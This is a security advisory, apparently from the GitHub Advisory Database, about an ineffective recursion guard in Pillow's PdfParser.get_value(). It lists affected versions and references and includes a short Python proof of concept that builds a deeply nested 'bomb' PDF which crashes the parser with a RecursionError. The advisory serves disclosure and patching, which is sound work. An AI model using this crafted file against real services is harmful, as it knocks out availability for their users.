Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()
What fixes it
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
PdfParser's get_value() can recurse without any limit and crash with an uncaught RecursionError. It is reachable through Image.save(im, fp=<pdf>, format="PDF", append=True) when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.
Details
**get_value() in src/PIL/PdfParser.py**
This is a classmethod that takes max_nesting: int = -1 and has a guard:
if max_nesting == 0:
return None, NoneEvery recursive call (nested arrays, dictionaries, indirect object definitions) passes max_nesting=max_nesting - 1. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid /Pages tree, since read_pdf_info() parses the /Root object's own dictionary first, before checking anything else.
This advisory reports a single vulnerability: an ineffective recursion-depth guard in PdfParser.get_value() (the sentinel -1 default never reaches the == 0 check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() .
Steps to reproduce
Both PDFs below are plain text, built directly in Python, no PDF library needed.
from PIL.PdfParser import PdfParser
def build_pdf(root):
out = bytearray(b"%PDF-1.4\n")
offset = len(out)
out += f"1 0 obj\n".encode()
out += root
out += b"\nendobj\n"
out += b"xref\n"
out += f"0 2\n".encode()
out += b"0000000000 65535 f \n"
out += f"{offset:010d} 00000 ".encode() + b"n \n"
xref_offset = len(out)
out += b"xref\n"
out += f"0 2\n".encode()
out += b"0000000000 65535 f \n"
out += f"{offset:010d} 00000 ".encode() + b"n \n"
out += b"trailer\n"
out += f"<< /Size 2 /Root 1 0 R >>\n".encode()
out += b"startxref\n"
out += f"{xref_offset}\n".encode()
out += b"%%EOF"
return bytes(out)
bomb = b"[" * 3000 + b"]" * 3000
root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>"
with open("nesting_bomb.pdf", "wb") as f:
f.write(build_pdf(root))
PdfParser("nesting_bomb.pdf") # raises RecursionErrorExpected: a clean PdfFormatError.
Actual: raises a raw RecursionError: maximum recursion depth exceeded.
Impact
- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (
Image.save(..., format="PDF", append=True)) can crash that request with a RecursionError, using a file of a few hundred bytes. - Confidentiality: none.
- Integrity: none.
- Pillow cannot open PDFs for reading through
Image.open().PdfParseris only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.
Text from GitHub Advisory Database
Affected versions 52
- Pillow, pip>= 5.1.0, < 13.0.0GitHub
- Pillowaffected: >= 5.1.0, < 13.0.0CVE List
- pillow, PyPIfrom 5.1.0, fixed in 13.0.0OSV
- pillow, PyPI10.0.0OSV
- pillow, PyPI10.0.1OSV
- pillow, PyPI10.1.0OSV
- pillow, PyPI10.2.0OSV
- pillow, PyPI10.3.0OSV
- pillow, PyPI10.4.0OSV
- pillow, PyPI11.0.0OSV
- pillow, PyPI11.1.0OSV
- pillow, PyPI11.2.1OSV
- pillow, PyPI11.3.0OSV
- pillow, PyPI12.0.0OSV
- pillow, PyPI12.1.0OSV
- pillow, PyPI12.1.1OSV
- pillow, PyPI12.2.0OSV
- pillow, PyPI12.3.0OSV
- pillow, PyPI5.1.0OSV
- pillow, PyPI5.2.0OSV
- pillow, PyPI5.3.0OSV
- pillow, PyPI5.4.0OSV
- pillow, PyPI5.4.0.dev0OSV
- pillow, PyPI5.4.1OSV
- pillow, PyPI6.0.0OSV
- pillow, PyPI6.1.0OSV
- pillow, PyPI6.2.0OSV
- pillow, PyPI6.2.1OSV
- pillow, PyPI6.2.2OSV
- pillow, PyPI7.0.0OSV
- pillow, PyPI7.1.0OSV
- pillow, PyPI7.1.1OSV
- pillow, PyPI7.1.2OSV
- pillow, PyPI7.2.0OSV
- pillow, PyPI8.0.0OSV
- pillow, PyPI8.0.1OSV
- pillow, PyPI8.1.0OSV
- pillow, PyPI8.1.1OSV
- pillow, PyPI8.1.2OSV
- pillow, PyPI8.2.0OSV
- pillow, PyPI8.3.0OSV
- pillow, PyPI8.3.1OSV
- pillow, PyPI8.3.2OSV
- pillow, PyPI8.4.0OSV
- pillow, PyPI9.0.0OSV
- pillow, PyPI9.0.1OSV
- pillow, PyPI9.1.0OSV
- pillow, PyPI9.1.1OSV
- pillow, PyPI9.2.0OSV
- pillow, PyPI9.3.0OSV
- pillow, PyPI9.4.0OSV
- pillow, PyPI9.5.0OSV
References 5
- github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cdFixvia CVE List
- github.com/python-pillow/Pillow/releases/tag/13.0.0Fixvia CVE List
- github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288hAdvisoryvia CVE List
- github.com/advisories/GHSA-254f-3936-288hAdvisoryvia GitHub
- nvd.nist.gov/vuln/detail/CVE-2026-112391Referencevia GitHub